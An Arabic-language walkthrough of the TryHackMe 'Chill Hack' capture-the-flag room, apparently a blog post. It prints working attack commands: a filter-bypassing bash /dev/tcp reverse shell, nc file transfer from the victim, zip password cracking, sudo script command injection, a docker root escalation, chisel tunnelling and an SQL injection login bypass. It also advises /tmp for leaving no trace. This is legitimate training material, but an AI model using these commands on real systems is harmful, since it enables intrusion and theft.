TryHackMe|Chill Hack WriteUp\Walkthrough (Arabic)
بسم الله
اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:
رابط التحدي: https://tryhackme.com/r/room/chillhack
===============================================================
كلمة IP في كل
الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل
وهي إننا نسوي scan للشبكة
باستخدام nmap
Sudo nmap IP -vv
نرجع نسوي Aggressive سكان على نفس هذه البورتات
على بورت 21 فيه ftp server والـ anonymous login مسموح وبرضو وضح لي إن فيه ملف اسمه note.txt
على 22 عندي SSH server والنظام هو ubuntu linux
وبورت 80 عليها Apache Server
بنسوي directory enumeration
باستخدام gobuster
gobuster dir -w
/usr/share/dirb/wordlists/common.txt -u htttp://IP/ -t 64
إذا زرنا الصفحة على المتصفح بنلاقي موقع يخص كرة القدم، ولو نقلب في الموقع ما بنلاقي حاجة مهمة، لذلك بنستنى يخلص الـGobuster scan ونشوف وش يطلع مسارات.
هذه نتائج السكان
نرجع لftp ونسجل دخول كـAnonymous والطريقة سهلة، أول شيء نتصل باستخدام
ftp IP
لما يطلب اسم المستخدم ندخل Anonymous ولما يطلب كلمة السر فقط نضغط Enter
ls
عندي ملف note.txt عشان نحمله
get note.txt
الملف تحمل، نخرج من Ftp
quit
نستعرض الملف:
في هذه الملاحظة يقولي إنه في فلترة على الأوامر اللي ندخلها. طيب هنا ايش يقصد، أي أوامر ووين بالضبط؟؟ مو تونا شفنا إنه على بورت 80 فيه web shell إذن هي الموجود عليها فلترة، ولو جربنا نشغل كوماند مثل ls ما بينفذها لأنها مفلترة
عشان نتجاوز هذا الفلتر نحتاج فقط نضيف \ backslash في وسط الكوماند فبدل ls تصير l\s، وهكذا على أي كوماند نكتشف إنها مفلترة، مثل الكوماند shell واللي نحتاجها عشان نحصل على Reverse Shell
أيضا في الملاحظة فيه اسمين Anurodh و Apaar وفي الـCTF أي اسم نلقاه بالعادة يكون اسم مستخدم على النظام، فأفضل إننا نسجلها دائما في الملاحظات ونرجع لها إذا سوينا bruteforce أو أي عملية ثانية نستفيد من أسماء المستخدمين فيها.
نرجع للـShell بنستخدم
/bin/bash -i >& /dev/tcp/10.18.96.207/1234 0>&1
من الموقع revshells.com، وإذا جربنا نشغلها ما بتشتغل لأن أول شيء bash مفلترة ونحتاج نحط وسط الكلمة \، وبرضو لازم نحط قبلها bash -c فتصير الكوماند كذا
ba\sh -c "/bin/ba\sh -i >& /dev/tcp/10.18.96.207/1234 0>&1"
لأن الباش ما تشتغل أحيان بدون إضافة bash -c إذا كانت البيئة ماهي pure bash
نجهز الـlistener على جهازنا
nc -nlvp 4444
نلصق الكوماند في الـweb shell ونسوي تنفيذ وبنحصل على اتصال من الضحية
بما إن الـvictim جهاز
نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول
ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.
الخطوات كالتالي:
نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
بعدين هذه الكوماند
export TERM=xterm
ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية
الحين نجيبها لقدام باستخدام هذه الكوماند
stty raw -echo;fg
الحين صار معانا stable shell نقدر نستخدمها براحتنا بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell ماهي منتظمة وبادية من نص السطر، بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.
ممكن برضو نعدل الصفوف والأعمدة للـshell عشان لو شغلنا أي محرر نصوص مثل vim ما يحوس علينا الـTeminal
نفتح نافذة جديدة في الـshell على جهازنا ونخلي مقاس الخط مثل اللي احنا شغالين عليها واستقبلنا من خلالها اتصال الضحية، ثم نشغل الكوماند
stty -a
ونشوف كم قيمة الصفوف والأعمدة
ونروح نسجل نفس القيمة على جهاز الضحية باستخدام هذه الكوماند
stty rows 31; stty cols 134
هنا أنا ما حطيتها بالضبط المهم يكون مقارب، أفضل بالضبط طبعا.
الحين كل شيء تمام وجاهز معاي، فنبدأ نتصفح بالجهاز، إذا رحنا للـhome بنلاحظ إن فيه 3 مستخدمين
2 منهم نفس اللي لقيناهم بالملاحظة فوق، وداخل مجلد apaar بنلقى local.txt ولكن ما قدرنا نقرأه لأن ما عندنا صلاحيات نقرأه، المستخدم الوحيد اللي يستطيع قراءته هو apaar، واحنا حاليا بصلاحيات www-data
نرجع للمسار
/var/www
فيه مجلد اسمه files بداخله ملفات كثيرة، ولكن فيه ملف مُلفت اسمه hacker.php، نستعرض الملف
بداخل المف فيه كلام
you have reached this far.
look in the dark
لما يقول look in the dark هذا يعطي تلميحة قوية إن فيه stegnography في هذه الصفحة. وفيه عندي صورتين، وحده jpg والثانية gif، بالعادة يكون الملفات مخفية في jpg، وين نلاقي طيب الصورة hacker-with-laptop ... ؟ بنلاقيها في المجلد images زي مو واضح المسار في الملف عندنا
cd images
وبعدين ننقل الصورة لجهازنا، في ncat الـListener هو اللي يستقبل والـClient هو اللي يرسل
على الضحية
nc -nv OpenVPN-IP 1234< hacker-with-laptop.....jpg
وعلى جهازنا
nc -nlvp 1234 > hacker-with-laptop......jpg
نشغل الـlistener ثم نرجع للضحية ونشغل الـclient وبكذا الملف بيوصل لنا
نشوف لو فيه شيء داخل الصورة باستخدام
steghide info hacker-with-laptop....jpg
نحط yes ثم إذا طلب كلمة السر بس نضغط Enter
بيقولي إنه فيه ملف backup.zip وعشان نستخرجه
steghide extract -sf hacker-with-laptop.....jpg
بيصير الملف عندنا ولكن لو جربنا نسوي unzip بيطلب كلمة سر، إذن هو مشفر، وعشان نفك التشفير بنستخدم john
zip2john backup.zip > hash
john hash
بيطلع معانا كلمة السر لهذا الملف **********
نرجع ونفك الضغط، بنحصل على ملف source_code.php نستعرض الملف
الملف عبارة عن كود تحقق من صحة كلمة المرور لتسجيل دخول المستخدم anurodh، فهو ياخذ الكلمة اللي أدخلها المستخدم ويسوي لها base64 encoding ويقارنها مع كلمة سر Anurodh اللي مخزنه عنده من أول كقيمة base64 ويتأكد إن القيمتين متطابقتين، إذا كانت متطابقة، فمعناته كلمة السر صحيحة وبيسمح للمستخدم Anurodh بالدخول ويطبع الرسالة
Welcome Aurodh!
طيب وش الفايدة؟؟ باختصار هو معطينا كلمة السر لـAnurodh على طبق من ذهب فقط نسوي لها decode وناخذها.
ننسخ قيمة base64 لكملة السر اللي موجودة في الملف ونروح على الـterminal
echo "base64value" | base64 -d
وبيطبع لنا كلمة السر، ناخذها ونسجل دخول على الضحية باستخدام SSH
لما ندخل على النظام نشغل الكوماند sudo -l ونشوف وش يقدر هذا المستخدم ينفذ كوماندز بصلاحيات مستخدمين آخرين.
هنا يقولي إن Anurodh يقدر ينفذ السكريبت helpline.sh بصلاحيات apaar بدون كلمة سر، بنستعرض السكريبت عشان نشوف ايش يسوي وكيف نستفيد منه
cat /home/apaar/.helpline.sh
هنا الزبدة كلها إنه قاعد ياخذ مني قيمتين ويخزنها في متغيرين person و msg المتغير person ياخذه ويطبع قيمته داخل علامة تنصيص، لكن msg ياخذه زي ماهو ويوديه مباشرة للـShell، وهذي مشكلة وثغرة كبيرة، يعني باختصار أي كوماند أحطها كقيمة للرسالة اللي يطلبني أدخلها بتنفذها الشيل مباشرة.
يعني لو أكتب
/bin/bash
بيرسلها مباشرة للـshell وبأحصل على shell بصلاحيات apaar وهذا بالضبط اللي بنسويه، نشغل السكريبت عادي باستخدام صلاحيات apaar
sudo -u apaar /home/apaar/.helpline.sh
ثم إذا طلب الاسم أحط أي اسم، ولما يطلب الرسالة أحط
/bin/bash
وبكذا بنحصل مباشرة على shell للمستخدم apaar، وعشان نحصل على interactive shell نحط هذه الكوماند
python3 -c 'import pty; pty.spawn("/bin/bash")'
بما إننا الحين apaar معناته نقدر نقرأ الملف local.txt ونحصل على أول فلاق✨. باقيلنا الـroot flag وعشان نحصل عليه نحتاج نرفع صلاحياتنا لرووت، أول شيء بنرجع نسجل دخول على النظام كمستخدم Anurodh ثم ننقل linpeas لجهاز الضحية
نروح على المجلد اللي في جهازنا يحتوي على linpeas.sh ونشغل بايثون سيرفير
python3 -m http.server
وعلى جهاز الضحية نروح للـtmp ونحمل الملف هناك
طيب ليه اخترت الـtmp ؟؟
أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر.
ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ.
wget http://OpenVPN-IP:8000/linpeas.sh
ثم نغير صلاحياته لملف تشغيلي
chmod +x linpeas.sh
ثم نشغله
./linpeas.sh
ما بنطول كثير من بداية السكان بيطلع معانا نص مكتوب بالأحمر والخلفية صفراء، وهذا يعني 95% احتمالية رفع صلاحيات.
عشان نستفيد من docker ونعرف كيف نستخدمه، بنبحث في الموقع GTFOBins بكلملة docker ثم أعلى شيء تحت shell ناخذ الكوماند وننفذها
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
علطول بنحصل على root shell
cd /root
cat proof.txt
وبكذا نكون حصلنا على آخر فلاق✨ وانتهينا من التحدي
================================================================
في طريقة ثانية للحل باستخدام الـ Port forwarding للي مهتم ويبغى يفهم يكمل قراءة
هذا المقطع على قناتي يشرح الطريقة الثانية بالتفصيل:
بنرجع للنقطة اللي حصلنا فيها على الـShell كأول مرة على النظام وكنا www-data، ثم بننقل linpeas.sh للضحية ونشغله، في نتائج السكريبت بنلاحظ إن عندي بورت9001 مفتوحة وشغالة ولكنها ما ظهرت معاي في الـnmap scan
ولو حاولنا نسوي عليها سكان هي لوحدها برضو بتطلع closed مع إنها مفتوحة وأنا متأكدة ولكن ما تطلع، هذا معناته إنه ما يمكن الوصول لها إلا من خلال port forwarding وهو إني أختار بورت من جهازي وأسوي لها ربط مع البورت 9001 على الضحية.
بأستخدم chisel وهذا رابط تحميله
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz -q
إذا حابين تفهمون ايش يعني port forwarding وكيف نسويه بالتفصيل ارجعوا للمقطع بالأعلى من الدقيقة 3:55 إلى 6:17
بعد ما نحمل chisel على جهازنا، بننقل الملف للضحية باستخدام أي طريقة ncat ولا wget كلها تضبط، ثم نغير صلاحياته إلى ملف تشغيلي.
الحين كل شيء جاهز، الملف على جهازي وغيرت صلاحياته لملف تشغيلي، ونفس الشيء على الضحية. بما إننا بنسوي remote port forwarding فبيكون الـlistener على جهازي، والـclient على الضحية.
على جهازي بأنفذ هذه الكوماند
./chisel server -p 1337 --reverse &
server معناته الـlistener بيكون عندي
1337 هو رقم البورت اللي اخترتها من جهازي وبتكون مشتركة عندي وعند الضحية
reverse اللي هي تدل على remote port forwarding
علامة & عشان يشتغل السيرفير في الخلفية
أما على الضحية بننفذ هذه الكوماند
./chisel client OpenVPN-IP:1337 R:9003:127.0.0.1:9001 &
R هنا دلالة على Remote
9003 هي البورت اللي على جهازي واخترت إني أربطها مع البورت 9001 على الضحية
127.0.0.1 يُسمى الـloop back address وهو عنوان يُشير إلى الجهاز الحالي، في حالتنا هذي بيشيرعلى الضحية لأننا بننفذ هذه الكوماند عليه.
طيب السؤال هنا ليه حطينا الـloopback وما استخدمنا عنوان الضحية نفسه؟ لآن إذا حطينا عنوان الضحية زي ما هو ما بنقدر نوصل للبورت 9001، لأن هذه البورت داخلية وما يشوفها إلا الضحية فقط، فعشان نوصل لها، لازم نخلي الضحية هو الوسيط بيننا وبين نفسه، فاحنا هدفنا مو الضحية نفسه لآن قد وصلنا له، هدفنا هو ما بداخله، وهذا نوصل له باستخدام العنوان الداخلي له وهو الـloopback.
لو ما فهمتوا هالنقطة ارجعو للمقطع بالأعلى من الدقيقة 8:51 إلى 9:42
نكمل، الحين نشغل الـserver على جهازي حتى يبدأ يستمع، ثم نرجع على الضحية ونشغل الـclient إذا كل شيء تمام بيطبع لنا connected
الآن كل شيء تمام ونقدر نروح على المتصفح وندخل على البورت 9001 على الضحية، يلا ركزوا معاي
أنا مو ربطت البورت 9003 من عندي مع البورت 9001 مع الضحية؟ ، حلو
ومو احنا أشرنا للبورت 9001 على الضحية باستخدام الـloopback address لأنها بورت داخلية ؟ ، تمام
إذن عشان أوصل للبورت 9003 اللي بداخل جهازي باستخدم الـloopback address برضو، فأروح وأكتب في المتصفح كذا 127.0.0.1:9003 ثم بيفتح معانا صفحة
قدامنا صفحة تسجيل دخول، أول ما نشوف صفحة تسجيل دخول بنجرب سريع ونشوف إذا هي متأثرة بالـsql injection عن طريق إننا نضع في خانة اسم المستخدم
' or '1'='1' -- -
وأحط أي كلمة سر، وأشوف إذا يدخلني
تمام دخلنا، هذه الصفحة ما تذكركم بشيء؟؟ الصفحة هذي بالضبط هي نفسها الصفحة اللي قرأناها على الضحية وكان اسم الملف hacker.php، فلو حملنا الصورة واستخدمنا steghide بيطلع لنا backup.zip ونفس الخطوات بنسويها، بنحصل على كلمة سر Anurodh ثم بنشغل linpeas.sh ونسوي privilege escalation ولما نصير root بنقدر نقرأ local.txt و proof.txt بدون ما نحتاج أصلا نتلاعب بالـhelpline سكريبت. فهذه طريقة حل مختصرة، وحلوة ونتعلم منها كيف نسوي port forwarding.
بكذا يكون خلصنا، يا رب استفدتوا من الشرح وفهمتوا، الله يوفقنا جميعاً.













Comments
Post a Comment